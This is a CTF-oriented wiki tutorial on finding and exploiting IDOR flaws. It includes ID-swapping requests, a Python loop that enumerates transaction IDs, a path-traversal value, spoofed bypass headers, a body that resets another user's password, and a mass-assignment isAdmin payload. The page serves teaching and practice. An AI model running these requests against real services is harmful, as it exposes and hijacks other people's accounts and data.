Athena Wiki
Web ExploitationAuthentication

Insecure Direct Object Reference (IDOR)

webbeginner

Find and exploit IDOR vulnerabilities to access unauthorized resources in CTF web challenges.

webidorauthorizationaccess-controlapihorizontal-privilege

Insecure Direct Object Reference (IDOR)

IDOR is an authorization vulnerability where applications expose direct references to internal objects (user IDs, file paths, database records) without checking whether the requesting user has permission to access those specific objects. How it works: Application maps user input (ID parameter) directly to database queries or file access; predictable sequential IDs allow attackers to iterate through other users' data; bypassed by simply changing a parameter value (e.g., /user/1001 to /user/1002) without permission checks. Why it matters: OWASP Top 10 (A01:2021 Broken Access Control); developers frequently assume object references are secret or trust URL structure; affects REST APIs, file downloads, and profile pages; enables horizontal privilege escalation (accessing peer data) and data exfiltration.


How IDORs Work

# Normal usage: user accesses their own profile
GET /api/user/1001/profile   → returns user 1001's data ✓

# IDOR: change ID to another user
GET /api/user/1002/profile   → returns user 1002's data ✗ (should be blocked)

Where to Look

LocationExamples
URL parameters/profile?id=42, /document/99, /api/order/1234
Hidden form fields<input type="hidden" name="user_id" value="42">
JSON body{"user_id": 42, "action": "view"}
Cookie valuessession=base64({"id":42,"role":"user"})
Filenames/download?file=report_42.pdf
API v1 endpoints/api/v1/messages?id=X (older APIs often less protected)

Finding the Target

Step 1: Create two accounts

Account A: user_id = 1001
Account B: user_id = 1002

Step 2: Logged in as A, find requests that reference A's ID

# In Burp Suite: Proxy → HTTP history
# Search for "1001" across all requests
# Note every endpoint that uses your ID

Step 3: Change the ID to B's, check if you get B's data

curl -b "session=A_session" http://target.com/api/user/1002/profile
# If returns user B's data → IDOR!

IDOR Bypass Techniques

Parameter pollution

GET /api/messages?id=1001&id=1002      # might return both
GET /api/messages?user_id=1001[]=1002  # array bypass

HTTP method switch

GET /api/user/1002/profile  → blocked
POST /api/user/1002/profile → allowed?

Indirect reference (find the real ID)

Some apps use GUIDs but encode a numeric ID elsewhere:

# Profile shows UUID, but API calls use sequential ID
# Search response for any numeric ID patterns
strings response | grep -E '[0-9]+'

Path traversal variant

/download?file=../user_1002/data.txt

Header-based bypass

GET /admin/users HTTP/1.1
X-Original-URL: /admin/users
X-Forwarded-For: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1

Common CTF IDOR Scenarios

1. Access another user's file

GET /download?file=flag_for_user_1.txt
→ change 1 to 0, or flag, or flag_user_0

2. View transaction / order with flag

import requests

session = requests.Session()
session.post('/login', data={'user': 'attacker', 'pass': 'password'})

# Flag is in transaction ID 1 (admin's)
for tx_id in range(1, 200):
    r = session.get(f'http://target.com/api/transaction/{tx_id}')
    if 'flag' in r.text.lower() or r.status_code == 200:
        print(f"ID {tx_id}: {r.text}")

3. Reset another user's password

POST /api/reset-password
{"user_id": 1, "new_password": "hacked"}
# If no ownership check → reset admin password

4. Read flag from /flag endpoint

GET /api/user/0/flag     # user 0 might be admin
GET /admin/flag          # sometimes accessible directly

If the API accepts extra fields and assigns them to the object:

// Normal:
{"username": "alice", "email": "alice@example.com"}

// Mass assignment attack - add isAdmin field:
{"username": "alice", "email": "alice@example.com", "isAdmin": true, "role": "admin"}


Last updated on

On this page